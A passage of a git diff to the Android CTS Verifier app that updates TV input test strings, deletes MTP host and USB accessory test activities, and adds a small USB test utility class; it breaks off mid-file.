         mVerifyEpgItem = createUserItem(R.string.tv_input_discover_test_verify_epg,
-                android.R.string.yes, this);
+                R.string.tv_yes, this);
         mTriggerSetupItem = createUserItem(R.string.tv_input_discover_test_trigger_setup,
                 R.string.tv_launch_setup, this);
         mVerifyTriggerSetupItem = createUserItem(
-                R.string.tv_input_discover_test_verify_trigger_setup, android.R.string.yes, this);
+                R.string.tv_input_discover_test_verify_trigger_setup, R.string.tv_yes, this);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/MtpHostTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/MtpHostTestActivity.java
deleted file mode 100644
index 2041be0..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/MtpHostTestActivity.java
+++ /dev/null
@@ -1,422 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.usb;
-
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertNotNull;
-import static junit.framework.Assert.assertTrue;
-import static junit.framework.Assert.fail;
-
-import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.hardware.usb.UsbConstants;
-import android.hardware.usb.UsbDevice;
-import android.hardware.usb.UsbDeviceConnection;
-import android.hardware.usb.UsbInterface;
-import android.hardware.usb.UsbManager;
-import android.mtp.MtpConstants;
-import android.mtp.MtpDevice;
-import android.mtp.MtpDeviceInfo;
-import android.mtp.MtpEvent;
-import android.mtp.MtpObjectInfo;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Message;
-import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
-import android.util.MutableInt;
-import android.view.LayoutInflater;
-import android.view.View;
-import android.view.View.OnClickListener;
-import android.widget.Button;
-import android.widget.ImageView;
-import android.widget.LinearLayout;
-import android.widget.TextView;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import junit.framework.AssertionFailedError;
-
-import java.io.IOException;
-import java.io.PrintWriter;
-import java.io.StringWriter;
-import java.nio.charset.StandardCharsets;
-import java.util.ArrayList;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-
-public class MtpHostTestActivity extends PassFailButtons.Activity implements Handler.Callback {
-    private static final int MESSAGE_PASS = 0;
-    private static final int MESSAGE_FAIL = 1;
-    private static final int MESSAGE_RUN = 2;
-
-    private static final int ITEM_STATE_PASS = 0;
-    private static final int ITEM_STATE_FAIL = 1;
-    private static final int ITEM_STATE_INDETERMINATE = 2;
-
-    /**
-     * Subclass for PTP.
-     */
-    private static final int SUBCLASS_STILL_IMAGE_CAPTURE = 1;
-
-    /**
-     * Subclass for Android style MTP.
-     */
-    private static final int SUBCLASS_MTP = 0xff;
-
-    /**
-     * Protocol for Picture Transfer Protocol (PIMA 15470).
-     */
-    private static final int PROTOCOL_PICTURE_TRANSFER = 1;
-
-    /**
-     * Protocol for Android style MTP.
-     */
-    private static final int PROTOCOL_MTP = 0;
-
-    private static final int RETRY_DELAY_MS = 1000;
-
-    private static final String ACTION_PERMISSION_GRANTED =
-            "com.android.cts.verifier.usb.ACTION_PERMISSION_GRANTED";
-
-    private static final String TEST_FILE_NAME = "CtsVerifierTest_testfile.txt";
-    private static final byte[] TEST_FILE_CONTENTS =
-            "This is a test file created by CTS verifier test.".getBytes(StandardCharsets.US_ASCII);
-
-    private final Handler mHandler = new Handler(this);
-    private int mStep;
-    private final ArrayList<TestItem> mItems = new ArrayList<>();
-
-    private UsbManager mUsbManager;
-    private BroadcastReceiver mReceiver;
-    private UsbDevice mUsbDevice;
-    private MtpDevice mMtpDevice;
-    private ExecutorService mExecutor;
-    private TextView mErrorText;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.mtp_host_activity);
-        setInfoResources(R.string.mtp_host_test, R.string.mtp_host_test_info, -1);
-        setPassFailButtonClickListeners();
-
-        final LayoutInflater inflater = getLayoutInflater();
-        final LinearLayout itemsView = (LinearLayout) findViewById(R.id.mtp_host_list);
-
-        mErrorText = (TextView) findViewById(R.id.error_text);
-
-        // Don't allow a test pass until all steps are passed.
-        getPassButton().setEnabled(false);
-
-        // Build test items.
-        mItems.add(new TestItem(
-                inflater,
-                R.string.mtp_host_device_lookup_message,
-                new int[] { R.id.next_item_button }));
-        mItems.add(new TestItem(
-                inflater,
-                R.string.mtp_host_grant_permission_message,
-                null));
-        mItems.add(new TestItem(
-                inflater,
-                R.string.mtp_host_test_read_event_message,
-                null));
-        mItems.add(new TestItem(
-                inflater,
-                R.string.mtp_host_test_send_object_message,
-                null));
-        mItems.add(new TestItem(
-                inflater,
-                R.string.mtp_host_test_notification_message,
-                new int[] { R.id.pass_item_button, R.id.fail_item_button }));
-        for (final TestItem item : mItems) {
-            itemsView.addView(item.view);
-        }
-
-        mExecutor = Executors.newSingleThreadExecutor();
-        mUsbManager = getSystemService(UsbManager.class);
-
-        mStep = 0;
-        mHandler.sendEmptyMessage(MESSAGE_RUN);
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-        if (mReceiver != null) {
-            unregisterReceiver(mReceiver);
-            mReceiver = null;
-        }
-    }
-
-    @Override
-    public boolean handleMessage(Message msg) {
-        final TestItem item = mStep < mItems.size() ? mItems.get(mStep) : null;
-
-        switch (msg.what) {
-            case MESSAGE_RUN:
-                if (item == null) {
-                    getPassButton().setEnabled(true);
-                    return true;
-                }
-                item.setEnabled(true);
-                mExecutor.execute(new Runnable() {
-                    private final int mCurrentStep = mStep;
-
-                    @Override
-                    public void run() {
-                        try {
-                            int i = mCurrentStep;
-                            if (i-- == 0) stepFindMtpDevice();
-                            if (i-- == 0) stepGrantPermission();
-                            if (i-- == 0) stepTestReadEvent();
-                            if (i-- == 0) stepTestSendObject();
-                            if (i-- == 0) stepTestNotification();
-                            mHandler.sendEmptyMessage(MESSAGE_PASS);
-                        } catch (Exception | AssertionFailedError exception) {
-                            mHandler.sendMessage(mHandler.obtainMessage(MESSAGE_FAIL, exception));
-                        }
-                    }
-                });
-                break;
-
-            case MESSAGE_PASS:
-                item.setState(ITEM_STATE_PASS);
-                item.setEnabled(false);
-                mStep++;
-                mHandler.sendEmptyMessage(MESSAGE_RUN);
-                break;
-
-            case MESSAGE_FAIL:
-                item.setState(ITEM_STATE_FAIL);
-                item.setEnabled(false);
-                final StringWriter writer = new StringWriter();
-                final Throwable throwable = (Throwable) msg.obj;
-                throwable.printStackTrace(new PrintWriter(writer));
-                mErrorText.setText(writer.toString());
-                break;
-        }
-
-        return true;
-    }
-
-    private void stepFindMtpDevice() throws InterruptedException {
-        assertEquals(R.id.next_item_button, waitForButtonClick());
-
-        UsbDevice device = null;
-        for (final UsbDevice candidate : mUsbManager.getDeviceList().values()) {
-            if (isMtpDevice(candidate)) {
-                device = candidate;
-                break;
-            }
-        }
-        assertNotNull(device);
-        mUsbDevice = device;
-    }
-
-    private void stepGrantPermission() throws InterruptedException {
-        if (!mUsbManager.hasPermission(mUsbDevice)) {
-            final CountDownLatch latch = new CountDownLatch(1);
-            mReceiver = new BroadcastReceiver() {
-                @Override
-                public void onReceive(Context context, Intent intent) {
-                    unregisterReceiver(this);
-                    mReceiver = null;
-                    latch.countDown();
-                }
-            };
-            registerReceiver(mReceiver, new IntentFilter(ACTION_PERMISSION_GRANTED));
-            mUsbManager.requestPermission(
-                    mUsbDevice,
-                    PendingIntent.getBroadcast(
-                            MtpHostTestActivity.this, 0, new Intent(ACTION_PERMISSION_GRANTED), 0));
-
-            latch.await();
-            assertTrue(mUsbManager.hasPermission(mUsbDevice));
-        }
-
-        final UsbDeviceConnection connection = mUsbManager.openDevice(mUsbDevice);
-        assertNotNull(connection);
-
-        // Try to rob device ownership from other applications.
-        for (int i = 0; i < mUsbDevice.getInterfaceCount(); i++) {
-            connection.claimInterface(mUsbDevice.getInterface(i), true);
-            connection.releaseInterface(mUsbDevice.getInterface(i));
-        }
-        mMtpDevice = new MtpDevice(mUsbDevice);
-        assertTrue(mMtpDevice.open(connection));
-        assertTrue(mMtpDevice.getStorageIds().length > 0);
-    }
-
-    private void stepTestReadEvent() {
-        assertNotNull(mMtpDevice.getDeviceInfo().getEventsSupported());
-        assertTrue(mMtpDevice.getDeviceInfo().isEventSupported(MtpEvent.EVENT_OBJECT_ADDED));
-
-        mMtpDevice.getObjectHandles(0xFFFFFFFF, 0x0, 0x0);
-        while (true) {
-            MtpEvent event;
-            try {
-                event = mMtpDevice.readEvent(null);
-            } catch (IOException e) {
-                fail();
-                return;
-            }
-            if (event.getEventCode() == MtpEvent.EVENT_OBJECT_ADDED) {
-                break;
-            }
-            SystemClock.sleep(RETRY_DELAY_MS);
-        }
-    }
-
-    private void stepTestSendObject() throws IOException {
-        final MtpDeviceInfo deviceInfo = mMtpDevice.getDeviceInfo();
-        assertNotNull(deviceInfo.getOperationsSupported());
-        assertTrue(deviceInfo.isOperationSupported(MtpConstants.OPERATION_SEND_OBJECT_INFO));
-        assertTrue(deviceInfo.isOperationSupported(MtpConstants.OPERATION_SEND_OBJECT));
-
-        // Delete an existing test file that may be created by the test previously.
-        final int storageId = mMtpDevice.getStorageIds()[0];
-        for (final int objectHandle : mMtpDevice.getObjectHandles(
-                storageId, /* all format */ 0, /* Just under the root */ -1)) {
-            final MtpObjectInfo info = mMtpDevice.getObjectInfo(objectHandle);
-            if (TEST_FILE_NAME.equals(info.getName())) {
-                assertTrue(mMtpDevice.deleteObject(objectHandle));
-            }
-        }
-
-        final MtpObjectInfo info = new MtpObjectInfo.Builder()
-                .setStorageId(storageId)
-                .setName(TEST_FILE_NAME)
-                .setCompressedSize(TEST_FILE_CONTENTS.length)
-                .setFormat(MtpConstants.FORMAT_TEXT)
-                .setParent(-1)
-                .build();
-        final MtpObjectInfo newInfo = mMtpDevice.sendObjectInfo(info);
-        assertNotNull(newInfo);
-        assertTrue(newInfo.getObjectHandle() != -1);
-
-        final ParcelFileDescriptor[] pipes = ParcelFileDescriptor.createPipe();
-        try {
-            try (final ParcelFileDescriptor.AutoCloseOutputStream stream =
-                    new ParcelFileDescriptor.AutoCloseOutputStream(pipes[1])) {
-                stream.write(TEST_FILE_CONTENTS);
-            }
-            assertTrue(mMtpDevice.sendObject(
-                    newInfo.getObjectHandle(),
-                    newInfo.getCompressedSizeLong(),
-                    pipes[0]));
-        } finally {
-            pipes[0].close();
-        }
-    }
-
-    private void stepTestNotification() throws InterruptedException {
-        assertEquals(R.id.pass_item_button, waitForButtonClick());
-    }
-
-    private int waitForButtonClick() throws InterruptedException {
-        final CountDownLatch latch = new CountDownLatch(1);
-        final MutableInt result = new MutableInt(-1);
-        mItems.get(mStep).setOnClickListener(new OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                result.value = v.getId();
-                latch.countDown();
-            }
-        });
-        latch.await();
-        return result.value;
-    }
-
-    private static boolean isMtpDevice(UsbDevice device) {
-        for (int i = 0; i < device.getInterfaceCount(); i++) {
-            final UsbInterface usbInterface = device.getInterface(i);
-            if ((usbInterface.getInterfaceClass() == UsbConstants.USB_CLASS_STILL_IMAGE &&
-                    usbInterface.getInterfaceSubclass() == SUBCLASS_STILL_IMAGE_CAPTURE &&
-                    usbInterface.getInterfaceProtocol() == PROTOCOL_PICTURE_TRANSFER)) {
-                return true;
-            }
-            if (usbInterface.getInterfaceClass() == UsbConstants.USB_SUBCLASS_VENDOR_SPEC &&
-                    usbInterface.getInterfaceSubclass() == SUBCLASS_MTP &&
-                    usbInterface.getInterfaceProtocol() == PROTOCOL_MTP &&
-                    "MTP".equals(usbInterface.getName())) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    private static class TestItem {
-        private final View view;
-        private final int[] buttons;
-
-        TestItem(LayoutInflater inflater,
-                 int messageText,
-                 int[] buttons) {
-            this.view = inflater.inflate(R.layout.mtp_host_item, null, false);
-
-            final TextView textView = (TextView) view.findViewById(R.id.instructions);
-            textView.setText(messageText);
-
-            this.buttons = buttons != null ? buttons : new int[0];
-            for (final int id : this.buttons) {
-                final Button button = (Button) view.findViewById(id);
-                button.setVisibility(View.VISIBLE);
-                button.setEnabled(false);
-            }
-        }
-
-        void setOnClickListener(OnClickListener listener) {
-            for (final int id : buttons) {
-                final Button button = (Button) view.findViewById(id);
-                button.setOnClickListener(listener);
-            }
-        }
-
-        void setEnabled(boolean value) {
-            for (final int id : buttons) {
-                final Button button = (Button) view.findViewById(id);
-                button.setEnabled(value);
-            }
-        }
-
-        Button getButton(int id) {
-            return (Button) view.findViewById(id);
-        }
-
-        void setState(int state) {
-            final ImageView imageView = (ImageView) view.findViewById(R.id.status);
-            switch (state) {
-                case ITEM_STATE_PASS:
-                    imageView.setImageResource(R.drawable.fs_good);
-                    break;
-                case ITEM_STATE_FAIL:
-                    imageView.setImageResource(R.drawable.fs_error);
-                    break;
-                case ITEM_STATE_INDETERMINATE:
-                    imageView.setImageResource(R.drawable.fs_indeterminate);
-                    break;
-            }
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/UsbAccessoryTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/UsbAccessoryTestActivity.java
deleted file mode 100644
index 5c31ea4..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/UsbAccessoryTestActivity.java
+++ /dev/null
@@ -1,475 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.usb;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-import com.android.cts.verifier.TestResult;
-
-import android.app.AlertDialog;
-import android.app.Dialog;
-import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.DialogInterface;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.content.res.Configuration;
-import android.hardware.usb.UsbAccessory;
-import android.hardware.usb.UsbManager;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.Message;
-import android.os.ParcelFileDescriptor;
-import android.util.Log;
-import android.view.View;
-import android.widget.ArrayAdapter;
-import android.widget.ListView;
-import android.widget.Toast;
-
-import java.io.FileDescriptor;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-
-/**
- * Test for USB accessories. The test activity interacts with a cts-usb-accessory program that
- * acts as an accessory by exchanging a series of messages.
- */
-public class UsbAccessoryTestActivity extends PassFailButtons.Activity {
-
-    private static final String TAG = "UsbAccessoryTest";
-
-    private static final int FILE_DESCRIPTOR_PROBLEM_DIALOG_ID = 1;
-    private static final int STATE_START = 0;
-    private static final int STATE_CONNECTED = 1;
-    private static final int STATE_WAITING_FOR_RECONNECT = 2;
-    private static final int STATE_RECONNECTED = 3;
-    private static final int STATE_PASSED = 4;
-
-    private static final String ACTION_USB_PERMISSION =
-            "com.android.cts.verifier.usb.USB_PERMISSION";
-
-    private ArrayAdapter<String> mReceivedMessagesAdapter;
-    private ArrayAdapter<String> mSentMessagesAdapter;
-    private MessageHandler mHandler;
-    private Handler mMainHandler;
-
-    private UsbManager mUsbManager;
-    private PendingIntent mPermissionIntent;
-    private boolean mPermissionRequestPending;
-    private UsbReceiver mUsbReceiver;
-    private int mState = STATE_START;
-    private AlertDialog mDisconnectDialog;
-    private AlertDialog mConnectDialog;
-
-    private UsbAccessory mAccessory;
-    private ParcelFileDescriptor mFileDescriptor;
-
-    private Runnable mTimeoutRunnable = new Runnable() {
-        @Override
-        public void run() {
-            Toast.makeText(UsbAccessoryTestActivity.this,
-                    R.string.usb_reconnect_timeout, Toast.LENGTH_SHORT).show();
-            TestResult.setFailedResult(UsbAccessoryTestActivity.this, getTestId(), getTestDetails());
-        }
-    };
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        Log.d(TAG, "onCreate");
-        // Test success only works properly if launched from TestListActivity
-        String action = getIntent().getAction();
-        if (ACTION_USB_PERMISSION.equals(action)
-                || UsbManager.ACTION_USB_ACCESSORY_ATTACHED.equals(action)) {
-            finish();
-            return;
-        }
-
-        setContentView(R.layout.usb_main);
-        setInfoResources(R.string.usb_accessory_test, R.string.usb_accessory_test_info, -1);
-        setPassFailButtonClickListeners();
-
-        // Don't allow a test pass until the accessory and the Android device exchange messages...
-        getPassButton().setEnabled(false);
-
-        if (!hasUsbAccessorySupport()) {
-            showNoUsbAccessoryDialog();
-        }
-
-        mReceivedMessagesAdapter = new ArrayAdapter<String>(this, R.layout.usb_message_row);
-        mSentMessagesAdapter = new ArrayAdapter<String>(this, R.layout.usb_message_row);
-        mHandler = new MessageHandler();
-
-        mUsbManager = (UsbManager) getSystemService(USB_SERVICE);
-        mPermissionIntent = PendingIntent.getBroadcast(this, 0,
-                new Intent(ACTION_USB_PERMISSION), 0);
-
-        mUsbReceiver = new UsbReceiver();
-        IntentFilter filter = new IntentFilter(ACTION_USB_PERMISSION);
-        filter.addAction(UsbManager.ACTION_USB_ACCESSORY_DETACHED);
-        registerReceiver(mUsbReceiver, filter);
-
-        setupListViews();
-
-        AlertDialog.Builder builder = new AlertDialog.Builder(this)
-            .setIcon(android.R.drawable.ic_dialog_alert)
-            .setTitle(R.string.usb_reconnect_title)
-            .setCancelable(false)
-            .setNegativeButton(R.string.usb_reconnect_abort,
-                    new DialogInterface.OnClickListener() {
-                @Override
-                public void onClick(DialogInterface dialog, int which) {
-                    setTestResultAndFinish(false);
-                }
-            });
-        mConnectDialog = builder
-            .setMessage(R.string.usb_connect_message)
-            .create();
-        mDisconnectDialog = builder
-            .setMessage(R.string.usb_disconnect_message)
-            .create();
-
-        mMainHandler = new Handler(Looper.getMainLooper());
-    }
-
-    private boolean hasUsbAccessorySupport() {
-        return getPackageManager().hasSystemFeature(PackageManager.FEATURE_USB_ACCESSORY);
-    }
-
-    private void showNoUsbAccessoryDialog() {
-        new AlertDialog.Builder(this)
-            .setIcon(android.R.drawable.ic_dialog_alert)
-            .setTitle(R.string.usb_not_available_title)
-            .setMessage(R.string.usb_not_available_message)
-            .setCancelable(false)
-            .setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() {
-                @Override
-                public void onClick(DialogInterface dialog, int which) {
-                    finish();
-                }
-            })
-            .show();
-    }
-
-    private void setupListViews() {
-        ListView sentMessages = (ListView) findViewById(R.id.usb_sent_messages);
-        ListView receivedMessages = (ListView) findViewById(R.id.usb_received_messages);
-
-        View emptySentView = findViewById(R.id.usb_empty_sent_messages);
-        View emptyReceivedView = findViewById(R.id.usb_empty_received_messages);
-        sentMessages.setEmptyView(emptySentView);
-        receivedMessages.setEmptyView(emptyReceivedView);
-
-        receivedMessages.setAdapter(mReceivedMessagesAdapter);
-        sentMessages.setAdapter(mSentMessagesAdapter);
-    }
-
-    class UsbReceiver extends BroadcastReceiver {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            Log.d(TAG, "Received broadcast: intent=" + intent);
-            if (ACTION_USB_PERMISSION.equals(intent.getAction())) {
-                if (intent.getBooleanExtra(UsbManager.EXTRA_PERMISSION_GRANTED, false)) {
-                    UsbAccessory accessory = intent.getParcelableExtra(UsbManager.EXTRA_ACCESSORY);
-                    openAccessory(accessory);
-                } else {
-                    Log.i(TAG, "Permission denied...");
-                }
-                mPermissionRequestPending = false;
-            } else if (mState == STATE_WAITING_FOR_RECONNECT &&
-                    UsbManager.ACTION_USB_ACCESSORY_DETACHED.equals(intent.getAction())) {
-                UsbAccessory accessory = intent.getParcelableExtra(UsbManager.EXTRA_ACCESSORY);
-                if (accessory.equals(mAccessory)) {
-                    closeAccessory();
-                    mDisconnectDialog.dismiss();
-                    mConnectDialog.show();
-                    mMainHandler.postDelayed(mTimeoutRunnable, 10000 /* 10 seconds */);
-                }
-            }
-        }
-    }
-
-    public void onNewIntent(Intent intent) {
-        super.onNewIntent(intent);
-        Log.d(TAG, "onNewIntent: state=" + mState + ", intent=" + intent);
-        if (UsbManager.ACTION_USB_ACCESSORY_ATTACHED.equals(intent.getAction())) {
-            UsbAccessory accessory = intent.getParcelableExtra(UsbManager.EXTRA_ACCESSORY);
-            openAccessory(accessory);
-        }
-    }
-
-    private void openAccessory(UsbAccessory accessory) {
-        mAccessory = accessory;
-        mFileDescriptor = mUsbManager.openAccessory(accessory);
-        if (mState == STATE_START) {
-            setState(STATE_CONNECTED);
-        } else if (mState == STATE_WAITING_FOR_RECONNECT) {
-            setState(STATE_RECONNECTED);
-            mConnectDialog.dismiss();
-        }
-        if (mFileDescriptor != null) {
-            FileDescriptor fileDescriptor = mFileDescriptor.getFileDescriptor();
-            FileInputStream inputStream = new FileInputStream(fileDescriptor);
-            FileOutputStream outputStream = new FileOutputStream(fileDescriptor);
-            new MessageThread(inputStream, outputStream, mHandler).start();
-        } else {
-            showDialog(FILE_DESCRIPTOR_PROBLEM_DIALOG_ID);
-        }
-    }
-
-    private void closeAccessory() {
-        mAccessory = null;
-        if (mFileDescriptor != null) {
-            try {
-                mFileDescriptor.close();
-            } catch (IOException e) {
-                Log.e(TAG, "Exception while closing file descriptor", e);
-            } finally {
-                mFileDescriptor = null;
-            }
-        }
-    }
-
-    static class MessageThread extends Thread {
-
-        private final InputStream mInputStream;
-
-        private final OutputStream mOutputStream;
-
-        private final MessageHandler mHandler;
-
-        private int mNextMessageNumber = 0;
-
-        MessageThread(InputStream inputStream, OutputStream outputStream, MessageHandler handler) {
-            this.mInputStream = inputStream;
-            this.mOutputStream = outputStream;
-            this.mHandler = handler;
-        }
-
-        @Override
-        public void run() {
-            mHandler.sendEmptyMessage(MessageHandler.MESSAGE_THREAD_STARTING);
-
-            try {
-                // Wait a bit or else the messages can appear to quick and be confusing...
-                Thread.sleep(2000);
-                sendMessage();
-
-                // Wait for response and send message acks...
-                int numRead = 0;
-                byte[] buffer = new byte[16384];
-                boolean done = false;
-                while (numRead >= 0 && !done) {
-                    numRead = mInputStream.read(buffer);
-                    if (numRead > 0) {
-                        done = handleReceivedMessage(buffer, numRead);
-                    }
-                }
-            } catch (IOException e) {
-                Log.e(TAG, "Exception while reading from input stream", e);
-                mHandler.sendEmptyMessage(MessageHandler.MESSAGE_THREAD_EXCEPTION);
-            } catch (InterruptedException e) {
-                Log.e(TAG, "Exception while reading from input stream", e);
-                mHandler.sendEmptyMessage(MessageHandler.MESSAGE_THREAD_EXCEPTION);
-            }
-            mHandler.sendEmptyMessage(MessageHandler.MESSAGE_THREAD_ENDING);
-        }
-
-        private boolean handleReceivedMessage(byte[] buffer, int numRead) throws IOException {
-            // TODO: Check the contents of the message?
-            String text = new String(buffer, 0, numRead).trim();
-            mHandler.sendReceivedMessage(text);
-
-            // Send back a response..
-            if (mNextMessageNumber <= 10) {
-                sendMessage();
-                return false;
-            } else {
-                mHandler.sendEmptyMessage(MessageHandler.STAGE_PASSED);
-                return true;
-            }
-        }
-
-        private void sendMessage() throws IOException {
-            String text = "Message from Android device #" + mNextMessageNumber++;
-            mOutputStream.write(text.getBytes());
-            mHandler.sendSentMessage(text);
-        }
-    }
-
-    class MessageHandler extends Handler {
-
-        static final int RECEIVED_MESSAGE = 1;
-
-        static final int SENT_MESSAGE = 2;
-
-        static final int MESSAGE_THREAD_STARTING = 3;
-
-        static final int MESSAGE_THREAD_EXCEPTION = 4;
-
-        static final int MESSAGE_THREAD_ENDING = 5;
-
-        static final int STAGE_PASSED = 6;
-
-        @Override
-        public void handleMessage(Message msg) {
-            super.handleMessage(msg);
-            switch (msg.what) {
-                case RECEIVED_MESSAGE:
-                    mReceivedMessagesAdapter.add((String) msg.obj);
-                    break;
-
-                case SENT_MESSAGE:
-                    mSentMessagesAdapter.add((String) msg.obj);
-                    break;
-
-                case MESSAGE_THREAD_STARTING:
-                    showToast(R.string.usb_message_thread_started);
-                    break;
-
-                case MESSAGE_THREAD_EXCEPTION:
-                    showToast(R.string.usb_message_thread_exception);
-                    break;
-
-                case MESSAGE_THREAD_ENDING:
-                    showToast(R.string.usb_message_thread_ended);
-                    break;
-
-                case STAGE_PASSED:
-                    if (mState == STATE_RECONNECTED) {
-                        showToast(R.string.usb_test_passed);
-                        getPassButton().setEnabled(true);
-                        setState(STATE_PASSED);
-                        mMainHandler.removeCallbacks(mTimeoutRunnable);
-                    } else if (mState == STATE_CONNECTED) {
-                        mDisconnectDialog.show();
-                        setState(STATE_WAITING_FOR_RECONNECT);
-                    }
-                    break;
-
-                default:
-                    throw new IllegalArgumentException("Bad message type: " + msg.what);
-            }
-        }
-
-        private void showToast(int messageId) {
-            Toast.makeText(UsbAccessoryTestActivity.this, messageId, Toast.LENGTH_SHORT).show();
-        }
-
-        void sendReceivedMessage(String text) {
-            Message message = Message.obtain(this, RECEIVED_MESSAGE);
-            message.obj = text;
-            sendMessage(message);
-        }
-
-        void sendSentMessage(String text) {
-            Message message = Message.obtain(this, SENT_MESSAGE);
-            message.obj = text;
-            sendMessage(message);
-        }
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        Log.d(TAG, "onResume: state=" + stateToString(mState));
-        if (mState == STATE_START) {
-            UsbAccessory[] accessories = mUsbManager.getAccessoryList();
-            UsbAccessory accessory = accessories != null && accessories.length > 0
-                    ? accessories[0]
-                    : null;
-            if (accessory != null) {
-                if (mUsbManager.hasPermission(accessory)) {
-                    openAccessory(accessory);
-                } else {
-                    if (!mPermissionRequestPending) {
-                        mUsbManager.requestPermission(accessory, mPermissionIntent);
-                        mPermissionRequestPending = true;
-                    }
-                }
-            }
-        }
-    }
-
-    @Override
-    protected void onPause() {
-        super.onPause();
-        Log.d(TAG, "onPause: state=" + stateToString(mState));
-    }
-
-    @Override
-    protected void onStop() {
-        super.onStop();
-        Log.d(TAG, "onStop: state=" + stateToString(mState));
-        closeAccessory();
-    }
-
-    @Override
-    public void onConfigurationChanged(Configuration newConfig) {
-        super.onConfigurationChanged(newConfig);
-        setContentView(R.layout.usb_main);
-        setupListViews();
-    }
-
-    @Override
-    public Dialog onCreateDialog(int id, Bundle args) {
-        switch (id) {
-            case FILE_DESCRIPTOR_PROBLEM_DIALOG_ID:
-                return new AlertDialog.Builder(this)
-                    .setIcon(android.R.drawable.ic_dialog_alert)
-                    .setTitle(R.string.usb_accessory_test)
-                    .setMessage(R.string.usb_file_descriptor_error)
-                    .create();
-
-            default:
-                return super.onCreateDialog(id, args);
-        }
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-        Log.d(TAG, "onDestroy");
-        if (mUsbReceiver != null) {
-            unregisterReceiver(mUsbReceiver);
-        }
-    }
-
-    private void setState(int newState) {
-        Log.d(TAG, "Transition: " + stateToString(mState) + " -> " + stateToString(newState));
-        mState = newState;
-    }
-
-
-    private static String stateToString(int state) {
-        switch (state) {
-            case STATE_START: return "START";
-            case STATE_CONNECTED: return "CONNECTED";
-            case STATE_WAITING_FOR_RECONNECT: return "WAITING_FOR_RECONNECT";
-            case STATE_RECONNECTED: return "RECONNECTED";
-            case STATE_PASSED: return "PASSED";
-            default: return "UNKNOWN";
-        }
-    }
-
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/Util.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/Util.java
new file mode 100644
index 0000000..5be1792
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/Util.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.usb;
+
+import android.support.annotation.NonNull;
+import android.util.Log;
+
+/**
+ * Utilities for the USB CTS verifier tests.
+ */
+public class Util {
+    private static final String LOG_TAG = Util.class.getSimpleName();
+
+    /**
+     * Run a {@link Invokable} and expect a {@link Throwable}.
+     *
+     * @param r             The {@link Invokable} to run
+     * @param expectedClass The expected {@link Throwable} type
+     */
+    public static void runAndAssertException(@NonNull Invokable r,
+            @NonNull Class<? extends Throwable> expectedClass) throws Throwable {
+        try {
+            r.run();
+        } catch (Throwable e) {
+            if (e.getClass().isAssignableFrom(expectedClass)) {
+                return;
+            } else {
+                Log.e(LOG_TAG, "Expected: " + expectedClass.getName() + ", got: "
+                        + e.getClass().getName());
+                throw e;
+            }
+        }
+
+        throw new AssertionError("No throwable thrown");
+    }
+
+
+    /**
+     * A {@link Runnable} that can throw an {@link Throwable}.
+     */
+    public interface Invokable {
